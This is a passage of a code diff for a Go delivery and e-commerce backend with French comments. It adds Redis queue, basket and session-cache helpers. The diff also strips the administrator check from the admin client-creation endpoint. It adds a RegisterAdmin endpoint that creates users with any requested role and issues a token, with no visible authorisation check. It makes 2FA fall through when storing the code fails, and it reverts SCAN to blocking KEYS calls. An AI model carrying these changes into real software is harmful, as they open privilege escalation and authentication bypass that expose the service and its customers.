|
return fmt.Errorf("validation échouée: %w", err)
|
||||||
|
}
|
||||||
|
command, err := d.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("commande introuvable: %w", err)
|
||||||
|
}
|
||||||
|
var lat, lng float64
|
||||||
|
if command["dest_latitude"] != nil {
|
||||||
|
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||||
|
lat = latVal
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if command["dest_longitude"] != nil {
|
||||||
|
if lngVal, ok := command["dest_longitude"].(float64); ok {
|
||||||
|
lng = lngVal
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var totalPrice float64
|
||||||
|
if tp, ok := command["total_prix"].(float64); ok {
|
||||||
|
totalPrice = tp
|
||||||
|
}
|
||||||
|
|
||||||
|
queueItem := models.CommandQueue{
|
||||||
|
CommandID: commandID,
|
||||||
|
Username: command["username"].(string),
|
||||||
|
TotalPrice: totalPrice,
|
||||||
|
Address: address,
|
||||||
|
Lat: lat,
|
||||||
|
Lng: lng,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
EstimatedETA: 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
// ✅ MODIFIÉ: Utiliser FindLeastLoadedDeliveryman qui respecte maintenant le statut
|
||||||
|
assignedDeliveryman, err := d.FindLeastLoadedDeliveryman()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("⚠️ Aucun livreur trouvé, ajout à la queue générale")
|
||||||
|
return d.AddToGeneralQueue(queueItem)
|
||||||
|
}
|
||||||
|
|
||||||
|
err = d.AddToDeliverymanQueue(assignedDeliveryman, queueItem)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("erreur ajout à la queue du livreur: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("📋 Commande %d assignée à la queue de %s", commandID, assignedDeliveryman)
|
||||||
|
|
||||||
|
d.PublishCommandEvent(commandID, "queued",
|
||||||
|
fmt.Sprintf("En attente dans la queue de %s", assignedDeliveryman))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// AddToGeneralQueue ajoute une commande à la queue générale (fallback)
|
// AddToGeneralQueue ajoute une commande à la queue générale (fallback)
|
||||||
func (d *Database) AddToGeneralQueue(queueItem models.CommandQueue) error {
|
func (d *Database) AddToGeneralQueue(queueItem models.CommandQueue) error {
|
||||||
data, err := json.Marshal(queueItem)
|
data, err := json.Marshal(queueItem)
|
||||||
@@ -153,7 +292,7 @@ func (d *Database) RemoveCommandFromQueue(commandID int) error {
|
|||||||
pipe.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
|
pipe.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
|
||||||
|
|
||||||
// Trouver et retirer de la queue du livreur
|
// Trouver et retirer de la queue du livreur
|
||||||
keys, _ := scanRedisKeys("queue:deliveryman:*")
|
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||||
var affectedDeliveryman string
|
var affectedDeliveryman string
|
||||||
|
|
||||||
for _, queueKey := range keys {
|
for _, queueKey := range keys {
|
||||||
@@ -216,6 +355,109 @@ func (d *Database) GetNextCommandInQueue() (*models.CommandQueue, error) {
|
|||||||
return &queue, nil
|
return &queue, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetLastCommandInQueue récupère la dernière commande dans la queue d'un livreur
|
||||||
|
func (d *Database) GetLastCommandInQueue(deliveryman string) (*models.CommandQueue, error) {
|
||||||
|
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||||
|
|
||||||
|
// Récupérer la dernière commande (index -1)
|
||||||
|
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, -1, -1).Result()
|
||||||
|
if err != nil || len(commandIDs) == 0 {
|
||||||
|
return nil, fmt.Errorf("queue vide")
|
||||||
|
}
|
||||||
|
|
||||||
|
commandID := extractCommandID(commandIDs[0])
|
||||||
|
if commandID <= 0 {
|
||||||
|
return nil, fmt.Errorf("ID invalide")
|
||||||
|
}
|
||||||
|
|
||||||
|
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||||
|
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var queueItem models.CommandQueue
|
||||||
|
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return &queueItem, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCommandQueuePosition récupère la position d'une commande dans la queue
|
||||||
|
func (d *Database) GetCommandQueuePosition(commandID int) (int, error) {
|
||||||
|
commandIDStr := strconv.Itoa(commandID)
|
||||||
|
|
||||||
|
// Chercher d'abord dans les queues des livreurs
|
||||||
|
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||||
|
|
||||||
|
for _, queueKey := range keys {
|
||||||
|
// Éviter les clés de compteur
|
||||||
|
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
rank, err := Redis.ZRank(RedisCtx, queueKey, commandIDStr).Result()
|
||||||
|
if err == nil {
|
||||||
|
return int(rank) + 1, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Chercher dans la queue générale
|
||||||
|
rank, err := Redis.ZRank(RedisCtx, "queue:pending:sorted", commandIDStr).Result()
|
||||||
|
if err == nil {
|
||||||
|
return int(rank) + 1, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0, fmt.Errorf("commande non trouvée dans les queues")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) ClearDeliverymanQueue(deliveryman string) error {
|
||||||
|
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||||
|
|
||||||
|
// Récupérer toutes les commandes
|
||||||
|
commandIDs, _ := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
|
||||||
|
|
||||||
|
// Redistribuer chaque commande
|
||||||
|
for _, cmdIDStr := range commandIDs {
|
||||||
|
commandID := extractCommandID(cmdIDStr)
|
||||||
|
if commandID <= 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||||
|
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var queueItem models.CommandQueue
|
||||||
|
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
newDeliveryman, err := d.FindLeastLoadedDeliveryman()
|
||||||
|
if err != nil {
|
||||||
|
d.AddToGeneralQueue(queueItem)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if newDeliveryman != deliveryman {
|
||||||
|
d.AddToDeliverymanQueue(newDeliveryman, queueItem)
|
||||||
|
log.Printf("🔄 Commande %d réassignée de %s à %s",
|
||||||
|
commandID, deliveryman, newDeliveryman)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Vider la queue
|
||||||
|
Redis.Del(RedisCtx, queueKey)
|
||||||
|
Redis.Del(RedisCtx, fmt.Sprintf("queue:deliveryman:%s:count", deliveryman))
|
||||||
|
|
||||||
|
go d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) SetDeliveryPersonStatus(username, status string, commandID int) error {
|
func (d *Database) SetDeliveryPersonStatus(username, status string, commandID int) error {
|
||||||
key := fmt.Sprintf("delivery:status:%s", username)
|
key := fmt.Sprintf("delivery:status:%s", username)
|
||||||
|
|
||||||
@@ -301,9 +543,49 @@ func (d *Database) SyncAllDeliverymanStatuses() error {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetDeliverymanCapacityReport génère un rapport détaillé
|
||||||
|
func (d *Database) GetDeliverymanCapacityReport() (map[string]any, error) {
|
||||||
|
report := map[string]any{
|
||||||
|
"total_deliverymen": 0,
|
||||||
|
"available": 0,
|
||||||
|
"busy_full": 0,
|
||||||
|
"busy_delivering": 0,
|
||||||
|
"offline": 0,
|
||||||
|
"details": []map[string]any{},
|
||||||
|
}
|
||||||
|
|
||||||
|
err := d.iterDeliveryStatuses(func(s models.DeliveryPersonStatus) {
|
||||||
|
queueKey := fmt.Sprintf("queue:deliveryman:%s", s.Username)
|
||||||
|
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||||
|
canAccept := d.CanDeliverymanAcceptCommands(s.Username)
|
||||||
|
|
||||||
|
report["total_deliverymen"] = report["total_deliverymen"].(int) + 1
|
||||||
|
switch {
|
||||||
|
case s.Status == "offline":
|
||||||
|
report["offline"] = report["offline"].(int) + 1
|
||||||
|
case s.Status == "busy" && queueSize >= MAX_COMMANDS_PER_DELIVERYMAN:
|
||||||
|
report["busy_full"] = report["busy_full"].(int) + 1
|
||||||
|
case s.Status == "busy":
|
||||||
|
report["busy_delivering"] = report["busy_delivering"].(int) + 1
|
||||||
|
case canAccept:
|
||||||
|
report["available"] = report["available"].(int) + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
report["details"] = append(report["details"].([]map[string]any), map[string]any{
|
||||||
|
"username": s.Username,
|
||||||
|
"status": s.Status,
|
||||||
|
"queue_size": queueSize,
|
||||||
|
"capacity": fmt.Sprintf("%d/10", queueSize),
|
||||||
|
"can_accept": canAccept,
|
||||||
|
"current_order": s.CurrentCommand,
|
||||||
|
})
|
||||||
|
})
|
||||||
|
return report, err
|
||||||
|
}
|
||||||
|
|
||||||
// iterDeliveryStatuses itère sur tous les statuts Redis des livreurs et appelle fn pour chacun.
|
// iterDeliveryStatuses itère sur tous les statuts Redis des livreurs et appelle fn pour chacun.
|
||||||
func (d *Database) iterDeliveryStatuses(fn func(models.DeliveryPersonStatus)) error {
|
func (d *Database) iterDeliveryStatuses(fn func(models.DeliveryPersonStatus)) error {
|
||||||
keys, err := scanRedisKeys("delivery:status:*")
|
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -320,21 +602,3 @@ func (d *Database) iterDeliveryStatuses(fn func(models.DeliveryPersonStatus)) er
|
|||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// scanRedisKeys remplace KEYS * par SCAN pour ne pas bloquer Redis.
|
|
||||||
func scanRedisKeys(pattern string) ([]string, error) {
|
|
||||||
var all []string
|
|
||||||
cursor := uint64(0)
|
|
||||||
for {
|
|
||||||
batch, next, err := Redis.Scan(RedisCtx, cursor, pattern, 200).Result()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
all = append(all, batch...)
|
|
||||||
cursor = next
|
|
||||||
if cursor == 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return all, nil
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -288,6 +288,10 @@ func (d *Database) RecalculateQueueETAs(deliveryman string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) UpdateQueueETAsAfterCompletion(deliveryman string) error {
|
||||||
|
return d.RecalculateQueueETAs(deliveryman)
|
||||||
|
}
|
||||||
|
|
||||||
// FindNearestCommandInQueue trouve la commande la plus proche du livreur
|
// FindNearestCommandInQueue trouve la commande la plus proche du livreur
|
||||||
func (d *Database) FindNearestCommandInQueue(deliveryman string) (*models.CommandQueue, int, error) {
|
func (d *Database) FindNearestCommandInQueue(deliveryman string) (*models.CommandQueue, int, error) {
|
||||||
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
|
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package db
|
|||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"gestion/models"
|
||||||
"log"
|
"log"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
@@ -182,3 +183,221 @@ func (d *Database) InvalidateSession(clientID int) error {
|
|||||||
log.Printf("✅ [SESSION] Session invalidée pour client %d", clientID)
|
log.Printf("✅ [SESSION] Session invalidée pour client %d", clientID)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// PANIER EN CACHE REDIS
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// BasketItemCache représente un item du panier en cache
|
||||||
|
type BasketItemCache struct {
|
||||||
|
ID int `json:"id"`
|
||||||
|
ProductID int `json:"product_id"`
|
||||||
|
ProductName string `json:"product_name"`
|
||||||
|
Quantity int `json:"quantity"`
|
||||||
|
Price float64 `json:"price"`
|
||||||
|
Category string `json:"category"`
|
||||||
|
AddedAt int64 `json:"added_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSessionBasket récupère le panier en cache Redis
|
||||||
|
// Retourne les items du panier avec total
|
||||||
|
func (d *Database) GetSessionBasket(clientID int) ([]BasketItemCache, float64, error) {
|
||||||
|
basketKey := fmt.Sprintf("session:basket:%d", clientID)
|
||||||
|
|
||||||
|
// Récupérer tous les items du panier
|
||||||
|
items, err := Redis.HGetAll(RedisCtx, basketKey).Result()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("⚠️ [BASKET] Pas de panier en cache pour client %d", clientID)
|
||||||
|
return []BasketItemCache{}, 0, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var basketItems []BasketItemCache
|
||||||
|
var totalPrice float64
|
||||||
|
|
||||||
|
for _, itemJSON := range items {
|
||||||
|
var item BasketItemCache
|
||||||
|
if err := json.Unmarshal([]byte(itemJSON), &item); err != nil {
|
||||||
|
log.Printf("⚠️ [BASKET] Erreur parsing item: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
basketItems = append(basketItems, item)
|
||||||
|
totalPrice += item.Price * float64(item.Quantity)
|
||||||
|
}
|
||||||
|
|
||||||
|
return basketItems, totalPrice, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateSessionBasket met à jour le panier en cache Redis
|
||||||
|
// Appelé après ajout/modification d'un produit au panier
|
||||||
|
func (d *Database) UpdateSessionBasket(clientID int, basketItems []BasketItemCache) error {
|
||||||
|
basketKey := fmt.Sprintf("session:basket:%d", clientID)
|
||||||
|
|
||||||
|
// Vider le panier existant
|
||||||
|
Redis.Del(RedisCtx, basketKey)
|
||||||
|
|
||||||
|
// Ajouter tous les items
|
||||||
|
for _, item := range basketItems {
|
||||||
|
itemJSON, _ := json.Marshal(item)
|
||||||
|
if err := Redis.HSet(RedisCtx, basketKey, item.ProductID, itemJSON).Err(); err != nil {
|
||||||
|
log.Printf("⚠️ [BASKET] Erreur ajout item: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TTL: 24 heures
|
||||||
|
if err := Redis.Expire(RedisCtx, basketKey, 24*time.Hour).Err(); err != nil {
|
||||||
|
log.Printf("⚠️ [BASKET] Erreur TTL: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearSessionBasket vide le panier en cache Redis
|
||||||
|
// Appelé après validation de commande (checkout)
|
||||||
|
func (d *Database) ClearSessionBasket(clientID int) error {
|
||||||
|
basketKey := fmt.Sprintf("session:basket:%d", clientID)
|
||||||
|
if err := Redis.Del(RedisCtx, basketKey).Err(); err != nil {
|
||||||
|
log.Printf("⚠️ [BASKET] Erreur clear: %v", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("✅ [BASKET] Panier vidé pour client %d", clientID)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// UTILITAIRES SESSION
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// GetAllActiveSessions récupère toutes les sessions actives
|
||||||
|
// Utile pour admin/stats
|
||||||
|
func (d *Database) GetAllActiveSessions() ([]SessionData, error) {
|
||||||
|
clientIDs, err := Redis.SMembers(RedisCtx, "session:active:clients").Result()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur récupération sessions: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var sessions []SessionData
|
||||||
|
for _, clientIDStr := range clientIDs {
|
||||||
|
var clientID int
|
||||||
|
if _, err := fmt.Sscanf(clientIDStr, "%d", &clientID); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if session, err := d.GetClientSession(clientID); err == nil {
|
||||||
|
sessions = append(sessions, *session)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return sessions, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSessionCount retourne le nombre de sessions actives
|
||||||
|
func (d *Database) GetSessionCount() (int64, error) {
|
||||||
|
count, err := Redis.SCard(RedisCtx, "session:active:clients").Result()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("erreur comptage sessions: %w", err)
|
||||||
|
}
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// CACHE PROFIL CLIENT
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// CacheClientProfile met en cache les infos du client (pour 1h)
|
||||||
|
func (d *Database) CacheClientProfile(client interface{}) error {
|
||||||
|
// Récupérer le client depuis DB si c'est un username
|
||||||
|
var clientData *models.Client
|
||||||
|
|
||||||
|
// Si c'est un username string
|
||||||
|
if username, ok := client.(string); ok {
|
||||||
|
var err error
|
||||||
|
clientData, err = d.GetClientByUsername(username)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("client non trouvé: %w", err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Si c'est déjà un *models.Client
|
||||||
|
clientData = client.(*models.Client)
|
||||||
|
}
|
||||||
|
|
||||||
|
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientData.ID)
|
||||||
|
|
||||||
|
// Sérialiser
|
||||||
|
profileJSON, err := json.Marshal(clientData)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("erreur sérialisation: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Sauvegarder avec TTL 1h
|
||||||
|
if err := Redis.Set(RedisCtx, cacheKey, profileJSON, 1*time.Hour).Err(); err != nil {
|
||||||
|
return fmt.Errorf("erreur cache: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("✅ [CACHE] Profil client %d mis en cache (1h)", clientData.ID)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCachedClientProfile récupère le profil en cache
|
||||||
|
func (d *Database) GetCachedClientProfile(clientID int) (*models.Client, error) {
|
||||||
|
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientID)
|
||||||
|
|
||||||
|
data, err := Redis.Get(RedisCtx, cacheKey).Result()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("cache miss")
|
||||||
|
}
|
||||||
|
|
||||||
|
var client models.Client
|
||||||
|
if err := json.Unmarshal([]byte(data), &client); err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur désérialisation: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &client, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// InvalidateClientCache invalide le cache du client
|
||||||
|
func (d *Database) InvalidateClientCache(clientID int) error {
|
||||||
|
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientID)
|
||||||
|
if err := Redis.Del(RedisCtx, cacheKey).Err(); err != nil {
|
||||||
|
return fmt.Errorf("erreur invalidation: %w", err)
|
||||||
|
}
|
||||||
|
log.Printf("✅ [CACHE] Profil client %d invalidé", clientID)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// COMMANDES EN CACHE (POUR TRACKING)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// CacheCommandInfo met en cache les infos d'une commande
|
||||||
|
func (d *Database) CacheCommandInfo(commandID int, command map[string]interface{}) error {
|
||||||
|
cacheKey := fmt.Sprintf("cache:command:%d", commandID)
|
||||||
|
|
||||||
|
commandJSON, err := json.Marshal(command)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("erreur sérialisation: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TTL: 4 heures
|
||||||
|
if err := Redis.Set(RedisCtx, cacheKey, commandJSON, 4*time.Hour).Err(); err != nil {
|
||||||
|
return fmt.Errorf("erreur cache: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCachedCommand récupère une commande en cache
|
||||||
|
func (d *Database) GetCachedCommand(commandID int) (map[string]interface{}, error) {
|
||||||
|
cacheKey := fmt.Sprintf("cache:command:%d", commandID)
|
||||||
|
|
||||||
|
data, err := Redis.Get(RedisCtx, cacheKey).Result()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("cache miss")
|
||||||
|
}
|
||||||
|
|
||||||
|
var command map[string]interface{}
|
||||||
|
if err := json.Unmarshal([]byte(data), &command); err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur désérialisation: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return command, nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -13,7 +13,6 @@ require (
|
|||||||
github.com/lib/pq v1.10.9
|
github.com/lib/pq v1.10.9
|
||||||
github.com/redis/go-redis/v9 v9.17.0
|
github.com/redis/go-redis/v9 v9.17.0
|
||||||
golang.org/x/crypto v0.40.0
|
golang.org/x/crypto v0.40.0
|
||||||
golang.org/x/text v0.27.0
|
|
||||||
gorm.io/driver/postgres v1.6.0
|
gorm.io/driver/postgres v1.6.0
|
||||||
gorm.io/gorm v1.31.1
|
gorm.io/gorm v1.31.1
|
||||||
)
|
)
|
||||||
@@ -56,6 +55,7 @@ require (
|
|||||||
golang.org/x/net v0.42.0 // indirect
|
golang.org/x/net v0.42.0 // indirect
|
||||||
golang.org/x/sync v0.16.0 // indirect
|
golang.org/x/sync v0.16.0 // indirect
|
||||||
golang.org/x/sys v0.35.0 // indirect
|
golang.org/x/sys v0.35.0 // indirect
|
||||||
|
golang.org/x/text v0.27.0 // indirect
|
||||||
golang.org/x/tools v0.34.0 // indirect
|
golang.org/x/tools v0.34.0 // indirect
|
||||||
google.golang.org/protobuf v1.36.9 // indirect
|
google.golang.org/protobuf v1.36.9 // indirect
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -181,11 +181,6 @@ func RegisterClient(c *gin.Context) {
|
|||||||
|
|
||||||
// AdminCreateClient crée un client depuis l'interface admin (sans session ni token)
|
// AdminCreateClient crée un client depuis l'interface admin (sans session ni token)
|
||||||
func AdminCreateClient(c *gin.Context) {
|
func AdminCreateClient(c *gin.Context) {
|
||||||
if userRole := c.GetString("role"); userRole != "admin" {
|
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Seul un administrateur peut créer des clients"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var req models.RegisterClientRequest
|
var req models.RegisterClientRequest
|
||||||
if err := c.ShouldBindJSON(&req); err != nil {
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
log.Printf("❌ [ADMIN_CREATE_CLIENT] Binding error: %v | body: username=%q nom=%q prenom=%q tel=%q", err, req.Username, req.Nom, req.Prenom, req.Telephone)
|
log.Printf("❌ [ADMIN_CREATE_CLIENT] Binding error: %v | body: username=%q nom=%q prenom=%q tel=%q", err, req.Username, req.Nom, req.Prenom, req.Telephone)
|
||||||
@@ -292,18 +287,15 @@ func LoginClient(c *gin.Context) {
|
|||||||
if linked {
|
if linked {
|
||||||
code := fmt.Sprintf("%06d", cryptoRandInt()%1000000)
|
code := fmt.Sprintf("%06d", cryptoRandInt()%1000000)
|
||||||
sessionToken := uuid.New().String()
|
sessionToken := uuid.New().String()
|
||||||
if err := db.Store2FASession(sessionToken, client.Username, code); err != nil {
|
if err := db.Store2FASession(sessionToken, client.Username, code); err == nil {
|
||||||
log.Printf("❌ [2FA] Erreur stockage session Redis: %v", err)
|
msg := fmt.Sprintf("🔐 Code de vérification : <b>%s</b>\n\nValable 5 minutes.", code)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur interne"})
|
services.TelegramBot.SendMessage(chatID, msg)
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"requires_2fa": true,
|
||||||
|
"session_token": sessionToken,
|
||||||
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
msg := fmt.Sprintf("🔐 Code de vérification : <b>%s</b>\n\nValable 5 minutes.", code)
|
|
||||||
services.TelegramBot.SendMessage(chatID, msg)
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"requires_2fa": true,
|
|
||||||
"session_token": sessionToken,
|
|
||||||
})
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -462,7 +454,6 @@ func ToggleClient2FA(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, gin.H{"success": true, "two_fa_enabled": req.Enabled})
|
c.JSON(http.StatusOK, gin.H{"success": true, "two_fa_enabled": req.Enabled})
|
||||||
}
|
}
|
||||||
|
|
||||||
// ChangePassword permet à un client de changer son mot de passe
|
|
||||||
func ChangePassword(c *gin.Context) {
|
func ChangePassword(c *gin.Context) {
|
||||||
var req struct {
|
var req struct {
|
||||||
CurrentPassword string `json:"current_password" binding:"required"`
|
CurrentPassword string `json:"current_password" binding:"required"`
|
||||||
@@ -525,6 +516,60 @@ func LogoutClient(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, gin.H{"message": "Déconnexion réussie"})
|
c.JSON(http.StatusOK, gin.H{"message": "Déconnexion réussie"})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// RegisterAdmin crée un nouvel utilisateur admin/cabine/livreur
|
||||||
|
func RegisterAdmin(c *gin.Context) {
|
||||||
|
var req models.RegisterAdminRequest
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
log.Printf("❌ [REGISTER_ADMIN] Erreur binding: %v", err)
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
if existingUser, _ := database.GetUserByUsername(req.Username); existingUser != nil {
|
||||||
|
log.Printf("❌ [REGISTER_ADMIN] Username déjà utilisé: %s", req.Username)
|
||||||
|
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hashed, _ := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
|
||||||
|
user := &models.User{
|
||||||
|
Username: req.Username,
|
||||||
|
Password: string(hashed),
|
||||||
|
Role: req.Role,
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := database.CreateUser(user); err != nil {
|
||||||
|
log.Printf("❌ [REGISTER_ADMIN] Erreur création: %v", err)
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création utilisateur"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
token, err := generateAdminToken(user)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ [REGISTER_ADMIN] Erreur génération token: %v", err)
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur génération token"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
expiresAt := time.Now().Add(adminTokenDuration)
|
||||||
|
if err := database.SaveToken(user.ID, user.Role, token, expiresAt); err != nil {
|
||||||
|
log.Printf("❌ [REGISTER_ADMIN] Erreur SaveToken: %v", err)
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
user.Password = ""
|
||||||
|
|
||||||
|
c.JSON(http.StatusCreated, models.LoginResponse{
|
||||||
|
AccessToken: token,
|
||||||
|
TokenType: "Bearer",
|
||||||
|
ExpiresIn: int(adminTokenDuration.Seconds()),
|
||||||
|
User: user,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// LoginAdmin authentifie un admin/cabine/livreur
|
// LoginAdmin authentifie un admin/cabine/livreur
|
||||||
func LoginAdmin(c *gin.Context) {
|
func LoginAdmin(c *gin.Context) {
|
||||||
var req models.LoginRequest
|
var req models.LoginRequest
|
||||||
@@ -658,6 +703,30 @@ func GetCurrentAdmin(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// HealthCheck vérifie la santé de l'API
|
||||||
|
// GET /api/v1/health
|
||||||
|
func HealthCheck(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
if err := database.DB.Ping(); err != nil {
|
||||||
|
log.Printf("⚠️ [HEALTH] Database down: %v", err)
|
||||||
|
c.JSON(http.StatusServiceUnavailable, gin.H{
|
||||||
|
"status": "unhealthy",
|
||||||
|
"database": "disconnected",
|
||||||
